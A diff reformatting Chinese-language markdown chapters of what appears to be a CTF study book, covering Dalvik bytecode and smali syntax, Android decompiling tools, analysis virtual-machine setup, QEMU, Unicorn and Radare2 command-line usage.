- 顺序采用 A~Z 的单个大写字母作为一个 4 位的操作码,op 表示一个 8 位的操作码。
|
||||
- ”∅“来表示这字段所有位为0值。
|
||||
|
||||
指令格式约定如下:
|
||||
|
||||
- 指令格式标识大多由三个字符组成,前两个是数字,最后一个是字母。
|
||||
- 第一个数字表示指令有多少个 16 位的字组成。
|
||||
- 第二个数字表示指令最多使用寄存器的个数。
|
||||
- 第三个字母为类型码,表示指令用到的额外数据的类型。
|
||||
|
||||
#### 寄存器
|
||||
### 寄存器
|
||||
|
||||
Dalvik 寄存器都是 32 位的,如果是 64 位的数据,则使用相邻的两个寄存器来表示。
|
||||
|
||||
寄存器有两种命名法:v 命名法和 p 命名法。如果一个函数使用到 M 个寄存器,其中有 N 个参数,那么参数会使用最后的 N 个寄存器,而局部变量使用从 v0 开始的前 M-N 个寄存器。在 v 命名法中,不管寄存器中是参数还是局部变量,都以 v 开头。而 p 命名法中,参数命名从 p0 开始,依次递增,在代码比较复杂的时候,使用 p 命名法可以清楚地区分开参数和局部变量,大多数工具使用的也是 p 命名法。
|
||||
|
||||
#### 类型、方法和字段
|
||||
### 类型、方法和字段
|
||||
|
||||
Dalvik 字节码只有基本类型和引用类型两种。除了对象类型和数组类型是引用类型外,其余的都是基本类型:
|
||||
|
||||
|语法 | 含义 |
|
||||
| 语法 | 含义 |
|
||||
| --- | --- |
|
||||
| V | void |
|
||||
| Z | boolean |
|
||||
@ -72,11 +77,14 @@ Dalvik 字节码只有基本类型和引用类型两种。除了对象类型和
|
||||
- 数组类型格式是 `[` 加上类型,如 `int[]` 表示为 `[I`,`int[][]` 表示为 `[[I`。
|
||||
|
||||
Dalvik 使用方法名、类型参数和返回值来描述一个方法。方法格式如下:
|
||||
```
|
||||
|
||||
```test
|
||||
Lpackage/name/ObjectName;->MethodName(III)Z
|
||||
```
|
||||
|
||||
例如把下面的 Java 代码转换成 smali:
|
||||
```
|
||||
|
||||
```text
|
||||
# Java
|
||||
String method(int, int [][], int, String, Object[])
|
||||
|
||||
@ -86,15 +94,19 @@ String method(int, int [][], int, String, Object[])
|
||||
```
|
||||
|
||||
字段格式如下:
|
||||
```
|
||||
|
||||
```text
|
||||
Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;
|
||||
```
|
||||
|
||||
#### 空操作指令
|
||||
### 空操作指令
|
||||
|
||||
空操作指令的助记符为 `nop`,值为 00,通常用于对齐代码。
|
||||
|
||||
#### 数据操作指令
|
||||
### 数据操作指令
|
||||
|
||||
数据操作指令为 `move`,原型为 `move destination, source`。
|
||||
|
||||
- `move vA, vB`:vB -> vA,都是 4 位
|
||||
- `move/from16 vAA, vBBBB`:vBBBB -> vAA,源寄存器 16 位,目的寄存器 8 位
|
||||
- `move/16 vAAAA, vBBBB`:vBBBB -> vAAAA,都是 16 位
|
||||
@ -108,15 +120,19 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;
|
||||
- `move-result-object vAA`:将上一个 invoke 类型指令操作的对象结果赋值给 vAA 寄存器
|
||||
- `move-exception vAA`:保存一个运行时发生的异常到 vAA 寄存器
|
||||
|
||||
#### 返回指令
|
||||
### 返回指令
|
||||
|
||||
基础字节码为 `return`。
|
||||
|
||||
- `return-void`:从一个 void 方法返回
|
||||
- `return vAA`:返回一个 32 位非对象类型的值,返回值寄存器位 8 位的寄存器 vAA
|
||||
- `return-wide vAA`:返回一个 64 位非对象类型的值,返回值寄存器为 8 位的 vAA
|
||||
- `return-object vAA`:返回一个对象类型的值,返回值寄存器为 8 位的 vAA
|
||||
|
||||
#### 数据定义指令
|
||||
### 数据定义指令
|
||||
|
||||
基础字节码为 `const`。
|
||||
|
||||
- `const/4 vA, #+B`:将数值符号扩展为 32 位后赋值给寄存器 vA
|
||||
- `const/16 vAA, #+BBBB`:将数值符号扩展为 32 位后赋值给寄存器 vAA
|
||||
- `const vAA, #+BBBBBBBB`:将数值赋值给寄存器 vAA
|
||||
@ -130,20 +146,24 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;
|
||||
- `const-class vAA, type@BBBB`:通过类型索引获取一个类型引用并赋值给寄存器 vAA
|
||||
- `const-class/jumbo vAAAA, type@BBBBBBBB`:通过给定的类型索引获取一个类引用并赋值给寄存器 vAAAA。这条指令占用两个字节,值为 0x00ff
|
||||
|
||||
#### 锁指令
|
||||
### 锁指令
|
||||
|
||||
用在多线程程序中对同一对象操作。
|
||||
|
||||
- `monitor-enter vAA`:为指定的对象获取锁
|
||||
- `monitor-exit vAA`:释放指定的对象的锁
|
||||
|
||||
#### 实例操作指令
|
||||
### 实例操作指令
|
||||
|
||||
- `check-cast vAA, type@BBBB`
|
||||
- `check-cast/jumbo vAAAA, type@BBBBBBBB`:将 vAA 寄存器中的对象引用转换成指定的类型,如果失败会抛出 ClassCastException 异常。如果类型 B 指定的是基本类型,对于非基本类型的 A 来说,运行始终会失败
|
||||
- `instance-of vA, vB, type@CCCC`
|
||||
- `instance-of vAAAA, vBBBB, type@CCCCCCCC`:判断 vB 寄存器中的对象引用是否可以转换成指定的类型,如果可以 vA 寄存器赋值为 1,否则 vA 寄存器赋值为 0
|
||||
- `new-instance vAA, type@BBBB`
|
||||
- `new-instance vAAAA, type@BBBBBBBB `:构造一个指定类型对象的新实例,并将对象引用赋值给 vAA 寄存器,类型符 type 指定的类型不能是数组类
|
||||
- `new-instance vAAAA, type@BBBBBBBB`:构造一个指定类型对象的新实例,并将对象引用赋值给 vAA 寄存器,类型符 type 指定的类型不能是数组类
|
||||
|
||||
### 数组操作指令
|
||||
|
||||
#### 数组操作指令
|
||||
- `array-length vA, vB`:获取vB寄存器中数组的长度并将值赋给vA寄存器。
|
||||
- `new-array vA, vB, type@CCCC`
|
||||
- `new-array/jumbo vAAAA, vBBBB, type@CCCCCCCC`:构造指定类型(type@CCCCCCCC)与大小(vBBBB)的数组,并将值赋给 vAAAA 寄存器
|
||||
@ -152,11 +172,14 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;
|
||||
- `fill-array-data vAA, +BBBBBBBB`:用指定的数据来填充数组,vAA 寄存器为数组引用,引用必须为基础类型的数组,在指令后面紧跟一个数据表。
|
||||
- `arrayop vAA, vBB, vCC`:对 vBB 寄存器指定的数组元素进行取值和赋值。vCC 寄存器指定数组元素索引,vAA 寄存器用来存放读取的或需要设置的数组元素的值。读取元素使用 aget 类指令,元素赋值使用 aput 类指令。
|
||||
|
||||
#### 异常指令
|
||||
### 异常指令
|
||||
|
||||
- `throw vAA`:抛出 vAA 寄存器中指定类型的异常
|
||||
|
||||
#### 跳转指令
|
||||
### 跳转指令
|
||||
|
||||
有三种跳转指令:无条件跳转(goto)、分支跳转(switch)和条件跳转(if)。
|
||||
|
||||
- `goto +AA`
|
||||
- `goto/16 +AAAA`
|
||||
- `goto/32 +AAAAAAAA`:无条件跳转到指定偏移处,不能为 0
|
||||
@ -177,23 +200,28 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;
|
||||
- `if-gtz`:if(vAA>0)
|
||||
- `if-lez`:if(vAA<=0)
|
||||
|
||||
#### 比较指令
|
||||
### 比较指令
|
||||
|
||||
对两个寄存器的值进行比较,格式为 cmpkind vAA, vBB, vCC,其中 vBB 和 vCC 寄存器是需要比较的两个寄存器或两个寄存器对,比较的结果放到 vAA 寄存器。指令集中共有5条比较指令:
|
||||
|
||||
- `cmpl-float`
|
||||
- `cmpl-double`:如果 vBB 寄存器大于 vCC 寄存器,结果为 -1,相等结果为 0,小于结果为 1
|
||||
- `cmpg-float`
|
||||
- `cmpg-double`:如果 vBB 寄存器大于 vCC 寄存器,结果为 1,相等结果为 0,小于结果为 -1
|
||||
- `cmp-long`:如果 vBB 寄存器大于 vCC 寄存器,结果为 1,相等结果为 0,小于结果为 -1
|
||||
|
||||
#### 字段操作指令
|
||||
### 字段操作指令
|
||||
|
||||
用于对对象实例的字段进行读写操作。对普通字段与静态字段操作有两种指令集,分别是 `iinstanceop vA, vB, field@CCCC` 与 `sstaticop vAA, field@BBBB`。扩展为 `iinstanceop/jumbo vAAAA, vBBBB, field@CCCCCCC` 与 `sstaticop/jumbo vAAAA, field@BBBBBBBB`。
|
||||
|
||||
普通字段指令的指令前缀为 `i`,静态字段的指令前缀为 `s`。字段操作指令后紧跟字段类型的后缀。
|
||||
|
||||
#### 方法调用指令
|
||||
### 方法调用指令
|
||||
|
||||
用于调用类实例的方法,基础指令为 `invoke`,有 `invoke-kind {vC, vD, vE, vF, vG}, meth@BBBB` 和 `invoke-kind/range {vCCCC .. vNNNN}, meth@BBBB` 两类。扩展为 `invoke-kind/jumbo {vCCCC .. vNNNN}, meth@BBBBBBBB` 这类指令。
|
||||
|
||||
根据方法类型的不同,共有如下五条方法调用指令:
|
||||
|
||||
- `invoke-virtual` 或 `invoke-virtual/range`:调用实例的虚方法
|
||||
- `invoke-super` 或 `invoke-super/range`:调用实例的父类方法
|
||||
- `invoke-direct` 或 `invoke-direct/range`:调用实例的直接方法
|
||||
@ -201,13 +229,16 @@ Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;
|
||||
- `invoke-interface` 或 `invoke-interface/range`:调用实例的接口方法
|
||||
|
||||
方法调用的返回值必须使用 `move-result*` 指令来获取,如:
|
||||
```
|
||||
|
||||
```text
|
||||
invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
|
||||
move-result-object v0
|
||||
```
|
||||
|
||||
#### 数据转换指令
|
||||
### 数据转换指令
|
||||
|
||||
格式为 `unop vA, vB`,vB 寄存器或vB寄存器对存放需要转换的数据,转换后结果保存在 vA 寄存器或 vA寄存器对中。
|
||||
|
||||
- 求补
|
||||
- `neg-int`
|
||||
- `neg-long`
|
||||
@ -237,16 +268,19 @@ move-result-object v0
|
||||
- `int-to-char`
|
||||
- `int-to-short`
|
||||
|
||||
#### 数据运算指令
|
||||
### 数据运算指令
|
||||
|
||||
包括算术运算符与逻辑运算指令。
|
||||
|
||||
数据运算指令有如下四类:
|
||||
|
||||
- `binop vAA, vBB, vCC`:将 vBB 寄存器与 vCC 寄存器进行运算,结果保存到 vAA 寄存器。以下类似
|
||||
- `binop/2addr vA, vB`
|
||||
- `binop/lit16 vA, vB, #+CCCC`
|
||||
- `binop/lit8 vAA, vBB, #+CC`
|
||||
|
||||
第一类指令可归类为:
|
||||
|
||||
- `add-type`:vBB + vCC
|
||||
- `sub-type`:vBB - vCC
|
||||
- `mul-type`:vBB * vCC
|
||||
@ -259,17 +293,19 @@ move-result-object v0
|
||||
- `shr-type`:vBB >> vCC
|
||||
- `ushr-type`:(无符号数)vBB >> vCC
|
||||
|
||||
|
||||
## smali 语法
|
||||
|
||||
类声明:
|
||||
```
|
||||
|
||||
```text
|
||||
.class <访问权限> [修饰关键字] <类名>
|
||||
.super <父类名>
|
||||
.source <源文件名>
|
||||
```
|
||||
|
||||
字段声明:
|
||||
```
|
||||
|
||||
```text
|
||||
# static fields
|
||||
.field <访问权限> static [修饰关键字] <字段名>:<字段类型>
|
||||
|
||||
@ -278,7 +314,8 @@ move-result-object v0
|
||||
```
|
||||
|
||||
方法声明:
|
||||
```
|
||||
|
||||
```text
|
||||
# direct methods
|
||||
.method <访问权限> [修饰关键字] <方法原型>
|
||||
[.locals]
|
||||
@ -297,24 +334,28 @@ move-result-object v0
|
||||
<代码体>
|
||||
.end method
|
||||
```
|
||||
|
||||
需要注意的是,在一些老教程中,会看到 `.parameter`,表示使用的寄存器个数,但在最新的语法中已经不存在了,取而代之的是 `.param`,表示方法参数。
|
||||
|
||||
接口声明:
|
||||
```
|
||||
|
||||
```text
|
||||
# interfaces
|
||||
.implements <接口名>
|
||||
```
|
||||
|
||||
注释声明:
|
||||
```
|
||||
|
||||
```text
|
||||
# annotations
|
||||
.annotation [注释属性] <注释类名>
|
||||
[注释字段 = 值]
|
||||
.end annotation
|
||||
```
|
||||
|
||||
#### 循环语句
|
||||
```
|
||||
### 循环语句
|
||||
|
||||
```text
|
||||
# for
|
||||
Iterator<对象> <对象名> = <方法返回一个对象列表>;
|
||||
for(<对象> <对象名>:<对象列表>){
|
||||
@ -328,8 +369,10 @@ while(<迭代器>.hasNext()){
|
||||
[处理单个对象的代码体]
|
||||
}
|
||||
```
|
||||
|
||||
比如下面的 Java 代码:
|
||||
```Java
|
||||
|
||||
```java
|
||||
public void encrypt(String str) {
|
||||
String ans = "";
|
||||
for (int i = 0 ; i < str.length(); i++){
|
||||
@ -338,8 +381,10 @@ public void encrypt(String str) {
|
||||
Log.e("ans:", ans);
|
||||
}
|
||||
```
|
||||
|
||||
对应下面的 smali:
|
||||
```
|
||||
|
||||
```text
|
||||
# public void encrypt(String str) {
|
||||
.method public encrypt(Ljava/lang/String;)V
|
||||
.locals 4
|
||||
@ -392,8 +437,9 @@ return-void
|
||||
.end method
|
||||
```
|
||||
|
||||
#### switch 语句
|
||||
```Java
|
||||
### switch 语句
|
||||
|
||||
```java
|
||||
public void encrypt(int flag) {
|
||||
String ans = null;
|
||||
switch (flag){
|
||||
@ -407,8 +453,10 @@ public void encrypt(int flag) {
|
||||
Log.v("ans:", ans);
|
||||
}
|
||||
```
|
||||
|
||||
对应下面的 smali:
|
||||
```
|
||||
|
||||
```text
|
||||
# public void encrypt(int flag) {
|
||||
.method public encrypt(I)V
|
||||
.locals 2
|
||||
@ -442,8 +490,10 @@ public void encrypt(int flag) {
|
||||
.end packed-switch
|
||||
.end method
|
||||
```
|
||||
|
||||
根据 switch 语句的不同,case 也有两种方式:
|
||||
```
|
||||
|
||||
```text
|
||||
# packed-switch
|
||||
packed-switch p1, :pswitch_data_0
|
||||
...
|
||||
@ -461,8 +511,9 @@ sswitch_data_0
|
||||
0xb -> : sswitch_1 # 字符会转化成数组
|
||||
```
|
||||
|
||||
#### try-catch 语句
|
||||
```Java
|
||||
### try-catch 语句
|
||||
|
||||
```java
|
||||
public void encrypt(int flag) {
|
||||
String ans = null;
|
||||
try {
|
||||
@ -473,8 +524,10 @@ public void encrypt(int flag) {
|
||||
Log.d("error", ans);
|
||||
}
|
||||
```
|
||||
|
||||
对应的下面的 smali:
|
||||
```
|
||||
|
||||
```text
|
||||
# public void encrypt(int flag) {
|
||||
.method public encrypt(I)V
|
||||
.locals 3
|
||||
@ -508,8 +561,8 @@ public void encrypt(int flag) {
|
||||
.end method
|
||||
```
|
||||
|
||||
|
||||
## 更多资料
|
||||
|
||||
- 《Android软件安全与逆向分析》
|
||||
- [Dalvik opcodes](http://www.blogjava.net/midea0978/archive/2012/01/04/367847.html)
|
||||
- [android逆向分析之smali语法](http://lib.csdn.net/article/android/7043)
|
||||
|
@ -2,103 +2,129 @@
|
||||
|
||||
这里先介绍一些好用的小工具,后面会介绍大杀器 JEB、IDA Pro 和 Radare2。
|
||||
|
||||
#### smali/baksmali
|
||||
地址:https://github.com/JesusFreke/smali
|
||||
## 常用工具
|
||||
|
||||
### smali/baksmali
|
||||
|
||||
地址:<https://github.com/JesusFreke/smali>
|
||||
|
||||
smali/baksmali 分别用于汇编和反汇编 dex 格式文件。
|
||||
|
||||
使用方法:
|
||||
```
|
||||
|
||||
```text
|
||||
$ smali assemble app -o classes.dex
|
||||
|
||||
$ baksmali disassemble app.apk -o app
|
||||
```
|
||||
|
||||
当然你也可以汇编和反汇编单个的文件,如汇编单个 smali 文件,反汇编单个 classes.dex 等,使用命令 `baksmali help input` 查看更多信息。
|
||||
|
||||
baksmali 还支持查看 dex/apk/oat 文件里的信息:
|
||||
```
|
||||
|
||||
```text
|
||||
$ baksmali list classes app.apk
|
||||
$ baksmali list methods app.apk | wc -l
|
||||
```
|
||||
|
||||
#### Apktool
|
||||
地址:https://github.com/iBotPeaches/Apktool
|
||||
### Apktool
|
||||
|
||||
地址:<https://github.com/iBotPeaches/Apktool>
|
||||
|
||||
Apktool 可以将资源文件解码为几乎原始的形式,并在进行一些修改后重新构建它们,甚至可以一步一步地对局部代码进行调试。
|
||||
|
||||
- 解码:
|
||||
```
|
||||
|
||||
```text
|
||||
$ apktool d app.apk -o app
|
||||
```
|
||||
|
||||
- 重打包:
|
||||
```
|
||||
|
||||
```text
|
||||
$ apktool b app -o app.apk
|
||||
```
|
||||
|
||||
#### dex2jar
|
||||
地址:https://github.com/pxb1988/dex2jar
|
||||
### dex2jar
|
||||
|
||||
地址:<https://github.com/pxb1988/dex2jar>
|
||||
|
||||
dex2jar 可以实现 dex 和 jar 文件的互相转换,同时兼有 smali/baksmali 的功能。
|
||||
|
||||
使用方法:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./d2j-jar2dex.sh classes.dex -o app.jar
|
||||
|
||||
$ ./d2j-jar2dex.sh app.jar -o classes.dex
|
||||
```
|
||||
|
||||
#### enjarify
|
||||
地址:https://github.com/Storyyeller/enjarify
|
||||
### enjarify
|
||||
|
||||
地址:<https://github.com/Storyyeller/enjarify>
|
||||
|
||||
enjarify 与 dex2jar 差不多,它可以将 Dalvik 字节码转换成相对应的 Java 字节码。
|
||||
|
||||
使用方法:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python3 -O -m enjarify.main app.apk
|
||||
```
|
||||
|
||||
#### JD-GUI
|
||||
地址:https://github.com/java-decompiler/jd-gui
|
||||
### JD-GUI
|
||||
|
||||
地址:<https://github.com/java-decompiler/jd-gui>
|
||||
|
||||
JD-GUI 是一个图形界面工具,可以直接导入 .class 文件,然后查看反编译后的 Java 代码。
|
||||
|
||||
#### CTF
|
||||
地址:http://www.benf.org/other/cfr/
|
||||
### CTF
|
||||
|
||||
地址:<http://www.benf.org/other/cfr/>
|
||||
|
||||
一个 Java 反编译器。
|
||||
|
||||
#### Krakatau
|
||||
地址:https://github.com/Storyyeller/Krakatau
|
||||
### Krakatau
|
||||
|
||||
地址:<https://github.com/Storyyeller/Krakatau>
|
||||
|
||||
用于 Java 反编译、汇编和反汇编。
|
||||
|
||||
- 反编译
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 Krakatau\decompile.py [-nauto] [-path PATH] [-out OUT] [-r] [-skip] target
|
||||
```
|
||||
|
||||
- 汇编
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 Krakatau\assemble.py [-out OUT] [-r] [-q] target
|
||||
```
|
||||
|
||||
- 反汇编
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 Krakatau\disassemble.py [-out OUT] [-r] [-roundtrip] target
|
||||
```
|
||||
|
||||
#### Simplify
|
||||
地址:https://github.com/CalebFenton/simplify
|
||||
### Simplify
|
||||
|
||||
地址:<https://github.com/CalebFenton/simplify>
|
||||
|
||||
通过执行一个 app 来解读其行为,然后尝试优化代码,使人更容易理解。
|
||||
|
||||
#### Androguard
|
||||
地址:https://github.com/androguard/androguard
|
||||
### Androguard
|
||||
|
||||
地址:<https://github.com/androguard/androguard>
|
||||
|
||||
Androguard 是使用 Python 编写的一系列工具,常用于逆向工程、病毒分析等。
|
||||
|
||||
输入 `androlyze.py -s` 可以打开一个 IPython shell,然后就可以在该 shell 里进行所有操作了。
|
||||
|
||||
```python
|
||||
a, d, dx = AnalyzeAPK("app.apk")
|
||||
```
|
||||
|
||||
- `a` 表示一个 `APK` 对象
|
||||
- 关于 APK 的所有信息,如包名、权限、AndroidManifest.xml和资源文件等。
|
||||
- `d` 表示一个 `DalvikVMFormat` 对象
|
||||
@ -107,6 +133,7 @@ a, d, dx = AnalyzeAPK("app.apk")
|
||||
- 包含一些特殊的类,classes.dex 的所有信息。
|
||||
|
||||
Androguard 还有一些命令行工具:
|
||||
|
||||
- androarsc:解析资源文件
|
||||
- androauto:自动分析
|
||||
- androaxml:解析xml文件
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 1.7 Android 安全基础
|
||||
|
||||
- [1.7.1 Android 环境搭建](1.7.1_android_env.md)
|
||||
- [1.7.2 Dalvik 指令集](1.7.2_dalvik.md)
|
||||
- [1.7.3 ARM 汇编基础](1.7.3_arm.md)
|
||||
- [1.7.4 Android 常用工具](1.7.4_android_tools.md)
|
||||
* [1.7.1 Android 环境搭建](1.7.1_android_env.md)
|
||||
* [1.7.2 Dalvik 指令集](1.7.2_dalvik.md)
|
||||
* [1.7.3 ARM 汇编基础](1.7.3_arm.md)
|
||||
* [1.7.4 Android 常用工具](1.7.4_android_tools.md)
|
||||
|
@ -7,33 +7,38 @@
|
||||
- [Linux 虚拟机](#linux-虚拟机)
|
||||
- [工具安装脚本](#工具安装脚本)
|
||||
|
||||
|
||||
## 虚拟化环境
|
||||
|
||||
虚拟化是资源的抽象化,是单一物理资源的多个逻辑表示,具有兼容性、隔离的优良特性。
|
||||
|
||||
在恶意代码和漏洞分析过程中常常需要使用虚拟化技术来进行辅助,这不仅可以保护真实的物理设备环境不被恶意代码攻击,还能够固化保存分析环境以提高工作效率,同时还能够在不影响程序执行流的情况下动态捕获程序内存、CPU 等关键数据。
|
||||
|
||||
虚拟化技术根据实现技术的不同可以分为:
|
||||
|
||||
- 软件虚拟化:用纯软件的方法在现有平台上实现对物理资源访问的截获和模拟。如 QEMU。
|
||||
- 硬件虚拟化:由硬件平台对特殊指令进行截获和重定向,交由虚拟机监控器(VMM)进行处理,这需要 CPU、主板、BIOS 和软件的支持。如 VMWare、VirtualBox。
|
||||
|
||||
虚拟化技术根据是否改动操作系统又可以分为:
|
||||
|
||||
- 半虚拟化:通过修改开源操作系统,将虚拟机特殊指令的被动截获请求转化成客户机操作系统的主动通知以提高性能。如 Xen。
|
||||
- 全虚拟化:不需要对操作系统进行改动,提供了完整的包括处理器、内存和外设的虚拟化平台。如 VMWare、VirtualBox、
|
||||
|
||||
|
||||
## 硬件虚拟化环境
|
||||
|
||||
用硬件虚拟机的话比较简单,可以自己下载安装。下面是我个人的一些环境配置。
|
||||
|
||||
- VirtualBox(https://www.virtualbox.org/)
|
||||
- VMware Workstation/Player(https://www.vmware.com/)
|
||||
- VirtualBox(<https://www.virtualbox.org/)>
|
||||
- VMware Workstation/Player(<https://www.vmware.com/)>
|
||||
|
||||
### 物理机 Manjaro 17.02
|
||||
|
||||
Manjaro 17.02 x86-64(<https://manjaro.org/)> with BlackArch tools.
|
||||
|
||||
#### 物理机 Manjaro 17.02
|
||||
Manjaro 17.02 x86-64(https://manjaro.org/) with BlackArch tools.
|
||||
```text
|
||||
$ uname -a
|
||||
Linux firmy-pc 4.9.43-1-MANJARO #1 SMP PREEMPT Sun Aug 13 20:28:47 UTC 2017 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
```text
|
||||
yaourt -Rscn:
|
||||
|
||||
@ -48,7 +53,8 @@ pip3/pip2 install:
|
||||
r2pipe
|
||||
```
|
||||
|
||||
#### Windows 虚拟机
|
||||
### Windows 虚拟机
|
||||
|
||||
- 32-bit
|
||||
- Windows XP
|
||||
- Windows 7
|
||||
@ -61,10 +67,11 @@ r2pipe
|
||||
```
|
||||
- Windows 10
|
||||
|
||||
下载地址:http://www.itellyou.cn/
|
||||
下载地址:<http://www.itellyou.cn/>
|
||||
|
||||
#### Linux 虚拟机
|
||||
- 32-bit/64-bit Ubuntu LTS - https://www.ubuntu.com/download
|
||||
### Linux 虚拟机
|
||||
|
||||
- 32-bit/64-bit Ubuntu LTS - <https://www.ubuntu.com/download>
|
||||
- 14.04
|
||||
- 16.04
|
||||
```text
|
||||
@ -90,10 +97,11 @@ r2pipe
|
||||
oh my zsh
|
||||
peda
|
||||
```
|
||||
- Kali Linux - https://www.kali.org/
|
||||
- BlackArch - https://blackarch.org/
|
||||
- REMnux - https://remnux.org
|
||||
- Kali Linux - <https://www.kali.org/>
|
||||
- BlackArch - <https://blackarch.org/>
|
||||
- REMnux - <https://remnux.org>
|
||||
|
||||
#### 工具安装脚本
|
||||
- ctf-tools - https://github.com/zardus/ctf-tools
|
||||
### 工具安装脚本
|
||||
|
||||
- ctf-tools - <https://github.com/zardus/ctf-tools>
|
||||
- [pwn_env](../src/others/2.1.1_vm/pwn_env.sh)
|
||||
|
@ -4,18 +4,20 @@
|
||||
- [安装](#安装)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||
QEMU 是一个广泛使用的开源计算机仿真器和虚拟机。当作为仿真器时,可以在一种架构(如PC机)下运行另一种架构(如ARM)下的操作系统和程序,当作为虚拟机时,可以使用 Xen 或 KVM 访问 CPU 的扩展功能(HVM),在主机 CPU 上直接执行虚拟客户端的代码。
|
||||
|
||||
|
||||
## 安装
|
||||
```
|
||||
|
||||
```text
|
||||
Arch: $ pacman -S qemu
|
||||
Debian/Ubuntu: $ apt-get install qemu
|
||||
```
|
||||
|
||||
当然如果你偏爱源码编译安装的话:
|
||||
```
|
||||
|
||||
```text
|
||||
$ git clone git://git.qemu.org/qemu.git
|
||||
$ cd qemu
|
||||
$ git submodule init
|
||||
@ -24,6 +26,6 @@ $ ./configure
|
||||
$ make
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [QEMU](https://www.qemu.org/)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 参考资料
|
||||
- http://www.unicorn-engine.org/
|
||||
|
||||
- <http://www.unicorn-engine.org/>
|
||||
- [Unicorn: Next Generation CPU Emulator Framework](http://www.unicorn-engine.org/BHUSA2015-unicorn.pdf)
|
||||
|
@ -26,35 +26,37 @@
|
||||
- [在 CTF 中的运用](#在-ctf-中的运用)
|
||||
- [更多资源](#更多资源)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||
IDA Pro 昂贵的价格令很多二进制爱好者望而却步,于是在开源世界中催生出了一个新的逆向工程框架——Radare2,它拥有非常强大的功能,包括反汇编、调试、打补丁、虚拟化等等,而且可以运行在几乎所有的主流平台上(GNU/Linux、Windows、BSD、iOS、OSX……)。Radare2 开发之初仅提供了基于命令行的操作,尽管现在也有非官方的GUI,但我更喜欢直接在终端上运行它,当然这也就意味着更高陡峭的学习曲线。Radare2 是由一系列的组件构成的,这些组件赋予了 Radare2 强大的分析能力,可以在 Radare2 中或者单独被使用。
|
||||
|
||||
这里是 Radare2 与其他二进制分析工具的对比。([Comparison Table](http://rada.re/r/cmp.html))
|
||||
|
||||
|
||||
## 安装
|
||||
#### 安装
|
||||
|
||||
```bash
|
||||
$ git clone https://github.com/radare/radare2.git
|
||||
$ cd radare2
|
||||
$ ./sys/install.sh
|
||||
```
|
||||
|
||||
#### 更新
|
||||
### 更新
|
||||
|
||||
```bash
|
||||
$ ./sys/install.sh
|
||||
```
|
||||
|
||||
#### 卸载
|
||||
### 卸载
|
||||
|
||||
```bash
|
||||
$ make uninstall
|
||||
$ make purge
|
||||
```
|
||||
|
||||
|
||||
## 命令行使用方法
|
||||
|
||||
Radare2 在命令行下有一些小工具可供使用:
|
||||
|
||||
- radare2:十六进制编辑器和调试器的核心,通常通过它进入交互式界面。
|
||||
- rabin2:从可执行二进制文件中提取信息。
|
||||
- rasm2:汇编和反汇编。
|
||||
@ -65,7 +67,8 @@ Radare2 在命令行下有一些小工具可供使用:
|
||||
- rarun2:用于在不同环境中运行程序。
|
||||
- rax2:数据格式转换。
|
||||
|
||||
#### radare2/r2
|
||||
### radare2/r2
|
||||
|
||||
```text
|
||||
$ r2 -h
|
||||
Usage: r2 [-ACdfLMnNqStuvwzX] [-P patch] [-p prj] [-a arch] [-b bits] [-i file]
|
||||
@ -111,14 +114,17 @@ Usage: r2 [-ACdfLMnNqStuvwzX] [-P patch] [-p prj] [-a arch] [-b bits] [-i file]
|
||||
-X [rr2rule] specify custom rarun2 directive
|
||||
-z, -zz do not load strings or load them even in raw
|
||||
```
|
||||
|
||||
参数很多,这里最重要是 `file`。如果你想 attach 到一个进程上,则使用 `pid`。常用参数如下:
|
||||
|
||||
- `-A`:相当于在交互界面输入了 `aaa`。
|
||||
- `-c`:运行 radare 命令。(`r2 -A -q -c 'iI~pic' file`)
|
||||
- `-d`:调试二进制文件或进程。
|
||||
- `-a`,`-b`,`-o`:分别指定体系结构、位数和操作系统,通常是自动的,但也可以手动指定。
|
||||
- `-w`:使用可写模式打开。
|
||||
|
||||
#### rabin2
|
||||
### rabin2
|
||||
|
||||
```text
|
||||
$ rabin2 -h
|
||||
Usage: rabin2 [-AcdeEghHiIjlLMqrRsSvVxzZ] [-@ at] [-a arch] [-b bits] [-B addr]
|
||||
@ -178,6 +184,7 @@ Usage: rabin2 [-AcdeEghHiIjlLMqrRsSvVxzZ] [-@ at] [-a arch] [-b bits] [-B addr]
|
||||
当我们拿到一个二进制文件时,第一步就是获取关于它的基本信息,这时候就可以使用 rabin2。rabin2 可以获取包括 ELF、PE、Mach-O、Java CLASS 文件的区段、头信息、导入导出表、数据段字符串、入口点等信息,并且支持多种格式的输出。
|
||||
|
||||
下面介绍一些常见的用法:(我还会列出其他实现类似功能工具的用法,你可以对比一下它们的输出)
|
||||
|
||||
- `-I`:最常用的参数,它可以打印出二进制文件信息,其中我们需要重点关注其使用的安全防护技术,如 canary、pic、nx 等。(`file`、`chekcsec -f`)
|
||||
- `-e`:得到二进制文件的入口点。(`readelf -h`)
|
||||
- `-i`:获得导入符号表,RLT中的偏移等。(`readelf -r`)
|
||||
@ -190,7 +197,8 @@ Usage: rabin2 [-AcdeEghHiIjlLMqrRsSvVxzZ] [-@ at] [-a arch] [-b bits] [-B addr]
|
||||
|
||||
最后还要提到的一个参数 `-r`,它可以将我们得到的信息以 radare2 可读的形式输出,在后续的分析中可以将这样格式的信息输入 radare2,这是非常有用的。
|
||||
|
||||
#### rasm2
|
||||
### rasm2
|
||||
|
||||
```text
|
||||
$ rasm2 -h
|
||||
Usage: rasm2 [-ACdDehLBvw] [-a arch] [-b bits] [-o addr] [-s syntax]
|
||||
